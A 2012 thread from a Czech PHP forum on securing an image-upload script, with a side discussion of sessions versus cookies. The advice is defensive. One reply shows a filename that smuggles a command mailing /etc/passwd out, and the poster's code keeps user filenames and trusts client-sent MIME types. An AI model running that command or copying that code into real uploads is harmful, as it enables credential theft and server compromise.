Registrace nového uživatele     Návod     Kluby     Archív  Lopuchu     Lopuch.cz  

Což takhle
dát si Lopuch?

Lopuch.cz

Jméno:
Heslo:
Podpora LCD:
 
Klub PHP [ŽP: neomezená] (kategorie Programování) moderuje makovec.
Archiv
Diskuse o vybornem skriptovacim jazyku php. Dulezite odkazy, pred polozenim dotazu zkuste hledat odpoved zde:
  1. www.php.net - domovská stránka PHP
  2. www.kosek.cz - spousta tutorialu pro PHP v češtině
  Nastavení klubu     Nastavení práv     Homepage     Anketa     Přítomní     Oblíbené     Lopuch     Kategorie  
autor: 
text: 
vyplnit a 
Help
 Titulek, text příspěvku  
Opište pozpátku následující text bez prostředního znaku: wcpubxv
[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 12.5.2012 16:53  3254
huh [3253]:
dík za poznámky

jinak, určení bude jako osobní administrace galerie obrázků/fotografií. Takže popsílat data tam bude jen administrátor.
Běžný user bude jen prohlížet
huh huh 12.5.2012 14:33  3253
ja bych:
1) ze jmena souboru bez pripony vyhazel cokoli krome [a-zA-Z-_]+
2) podle neceho jako exif_imagetype urcil typ a bud pridal odpovidajici priponu nebo ho zahodil (nepodporovane typy)
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 12:46  3252
napsal jsem to tedy nakonec takto:
$rnd = rand (11111,99999).'__';

if(isset($_FILES["soubor"]["tmp_name"])){
if(isset($_FILES["soubor"]["size"])){
echo '<br>Velikost souboru: '.$_FILES["soubor"]["size"];
if($_FILES["soubor"]["size"] > "600000") {
echo '<br>Velikost souboru je větší než povolený limit (600000).'; goto konec;}}

if(($_FILES["soubor"]["type"] == "image/jpeg")
or ($_FILES["soubor"]["type"] == "image/png")
or ($_FILES["soubor"]["type"] == "image/gif"))
{

$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_path = "images/large/$rnd$soubor_name";
move_uploaded_file($tmpName, $soubor_name_path);
echo '<br>Obrázek '.$soubor_name.' nahrán pod názvem: '.$rnd.$soubor_name.'<br>';
}
else{echo '<br>Nepodporovaný typ souboru!<br>'; goto konec; }
}


themajkl themajkl All those moments will be lost in time - like tears in rain. 11.5.2012 09:38  3251
(Dnešní implementace všeho možného by už snad s tímhle problémy mít neměly, ale proč to nechávat na náhodě...)
themajkl themajkl All those moments will be lost in time - like tears in rain. 11.5.2012 09:37  3250
IMHO abys předešel případným následkům názvů typu
`cat /etc/passwd | mailx hajzlik@nasiti`.jpg
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 09:34  3249
makovec [3248]:
dík
doporucoval ty obrazky pri uploadu prejmenovat (resp k nim priradit nejaky retezec)

proč?

Přejmenovat je mohu, resp, přiřadit třeba šestimístný kód z náhodných čísel, aby se zabránilo přepsání souborů stejných názvů ...

Je nějaký jiný důvod tohoto doporučení?
makovec makovec Chuck Norris snědl jídlo od Babicy - a ještě si přidal 11.5.2012 09:27  3248
urcite si tam hlidej jednak aby prochazely jen obrazky, dal si tam prihod jen seznam povolenych koncovek a aby se ti nedalo podstrcit neco co konci .jpg.php. plus bych doporucoval ty obrazky pri uploadu prejmenovat (resp k nim priradit nejaky retezec)

puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 09:04  3247
upload souborů
uploaduji obrázky pomocí formuláře a html/php:



<form enctype="multipart/form-data" action="[[~[[*id]]]]" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="300000" />
<input name="soubor" type="file" />
<input type="submit" value="Send File" />
</form>

<?php
$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_p = "images/$soubor_name";
move_uploaded_file($tmpName, $soubor_name_p);
?>



kód funguje
není tam podle vás nějaká zásadní chyba? (třeba z hlediska zabezpečení ...)
se svýma znalostma programování si samozřejmě nemohu nic takového uvědomovat ...

Děkuji.

P.S.: bude se jednat pouze o upload obrázků (jpg, png, gif) a do max. velikosti cca 300kB
jak tam dát nějaký filtr?
hippotame 7.5.2012 13:39  3246
Takze fakt jen toto ?
session_start ();
$defX = 4;
$defY = 3;
$_SESSION ['tab_x'] = ( isset ( $_POST ['gal_tab_x'] ) ? $_POST ['gal_tab_x'] : ( ! empty ( $_SESSION ['tab_x'] ) ? $_SESSION ['tab_x'] : $defX ) );
$_SESSION ['tab_y'] = ( isset ( $_POST ['gal_tab_y'] ) ? $_POST ['gal_tab_y'] : ( ! empty ( $_SESSION ['tab_y'] ) ? $_SESSION ['tab_y'] : $defY ) );

puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 12:04  3245
knedle [3244]:
dík
cookie je schopna si data zapamatovat i potom, co si vypnul prohlizec (pocitac)
session je omezena (maximálně) právě na běh prohlížeče

tohle vím

rozhodl jsem se oba způsoby uchování hodnot vyzkoušet, abych si to "ošahal" v praxi

ad
session_register
zkusím to odebrat, co to udělá
já myslel že již není nutné
session_start();
knedle knedle online - Krabice živých 7.5.2012 11:59  3244
jen pro info: (zjednodušeně)
cookie je schopna si data zapamatovat i potom, co si vypnul prohlizec (pocitac)
session je omezena (maximálně) právě na běh prohlížeče

a mám ten pocit, že session_register není už dlouho třeba
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 09:56  3242
nebo takto

session_register('tabu_x');
session_register('tabu_y');

$x = 4;
if (isset($_POST['gal_tab_x'])) {$x = $_POST['gal_tab_x']; $_SESSION['tabu_x'] = $x;}
if(!isset($_SESSION['tabu_x'])) {$_SESSION['tabu_x'] = $x;}

$y = 3;
if (isset($_POST['gal_tab_y'])) {$y = $_POST['gal_tab_y']; $_SESSION['tabu_y'] = $y;}
if(!isset($_SESSION['tabu_y'])) {$_SESSION['tabu_y'] = $y;}


puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 09:42  3241
huh [3239]:
dík, kouknu na to

poslal jsem příspěvek souběžně s Tvým
co použití těch SESSION ?
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 09:40  3240
tohle už začíná trochu fungovatpodle mých představ:

session_register('tabu_x');
session_register('tabu_y');

if (!isset($_POST['gal_tab_x'])) {$x = 4;}
else { $x = $_POST['gal_tab_x']; $_SESSION['tabu_x'] = $x;}
if(!isset($_SESSION['tabu_x'])) {$_SESSION['tabu_x'] = $x;}

if (!isset($_POST['gal_tab_y'])) {$y = 3;}
else { $y = $_POST['gal_tab_y']; $_SESSION['tabu_y'] = $y;}
if(!isset($_SESSION['tabu_y'])) {$_SESSION['tabu_y'] = $y;}
huh huh 7.5.2012 09:40  3239
Píšu z hlavy, možná blbě :-)
$x = 4;
if (isset($_POST['gal_tab_x'])) { // formular byl poslan, menime hodnotu
  $x = (int)$_POST['gal_tab_x'];
  if ($x >= 2 and $x <= 6) { // je-li platna
    setcookie('tabulka_x', $x);
  }
} elseif (isset($_COOKIE['tabulka_x'])) {
  $x = (int)$_COOKIE['tabulka_x'];
  if ($x < 2 or $x > 6) { // neni-li platna
    $x = 4;
  }
}
a pri cteni
$tx = 4;
if (isset($_COOKIE['tabulka_x'])) {
  $tx = (int)$_COOKIE['tabulka_x'];
  if ($tx < 2 or $tx > 6) { // neni-li platna
    $tx = 4;
  }
}

[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  

(c) 2001-2011 Lopuch.cz   
Kontakt